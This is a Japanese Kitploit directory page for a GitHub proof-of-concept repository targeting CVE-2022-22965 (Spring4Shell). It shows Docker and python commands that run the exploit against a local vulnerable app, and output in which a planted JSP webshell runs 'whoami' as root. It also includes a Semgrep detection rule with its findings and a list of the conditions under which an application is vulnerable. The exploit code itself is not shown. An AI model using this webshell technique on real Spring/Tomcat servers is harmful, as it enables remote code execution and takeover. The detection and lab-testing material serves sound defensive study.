Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
springshell-rce-poc — CVE-2022-22965 - CVE-2010-1622 再訪 | Kitploit
ツール/GitHubGitHub/dduarte/springshell-rce-poc
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubdduarte/springshell-rce-poc

springshell-rce-poc

CVE-2022-22965 - CVE-2010-1622 再訪

リポジトリを見る
19123年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-22965 - 脆弱なアプリケーションとPoC

試行錯誤

root@kitploit:~
$ docker rm -f rce; docker build -t rce:latest . && docker run -d -p 8080:8080 --name rce rce:latest && sleep 5 && python poc.py

出力例

root@kitploit:~
rce
sha256:f626a2190dc0790c610afd4f12a4b2482b6a726d671fdac1432275de89c07cd6
1a048e5725f754d331de9491d0750c4c7a163472dea1fd1554edccfd00d7f6e5
deploy <Response [200]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [500]>
webshell http://localhost:8080/tomcatwar.jsp?cmd=whoami
root

Semgrep による識別

root@kitploit:~
$ semgrep --config=semgrep-rule.yml .

Semgrep ルールとテストケース

出力例

root@kitploit:~
Findings:

  src/main/java/com/example/demo/controller/IndexController.java
     cve-2022-22965
        Semgrep found a match


         14┆ @RequestMapping("/index")
         15┆ public void index(EvalBean evalBean) {
         16┆
         17┆ }

Ran 1 rule on 3 files: 1 finding.

脆弱なアプリケーションの必要条件1

  • JDK 9 以上
  • スタンドアロン Tomcat(組み込み Tomcat 不可)+ WAR デプロイ
  • Spring バージョン 5.3.18 / 5.2.20 より前(Spring Boot の場合は 2.5.12 / 2.6.6 より前)
  • WebDataBinder / InitBinder にブロックリストなし
  • POJO を直接使ったパラメータバインディング(@RequestBody、@RequestQuery などは使用しない)
  • 書き込み可能なファイルシステム(例:webapps/ROOT)

ソース

  • https://twitter.com/vxunderground/status/1509170582469943303 / https://github.com/craig/SpringCore0day
  • https://github.com/fengguangbin/spring-rce-war

Footnotes

  1. 既知の PoC と同様のエクスプロイトを想定。他にもガジェットが存在する可能性あり… ↩

ツールをダウンロード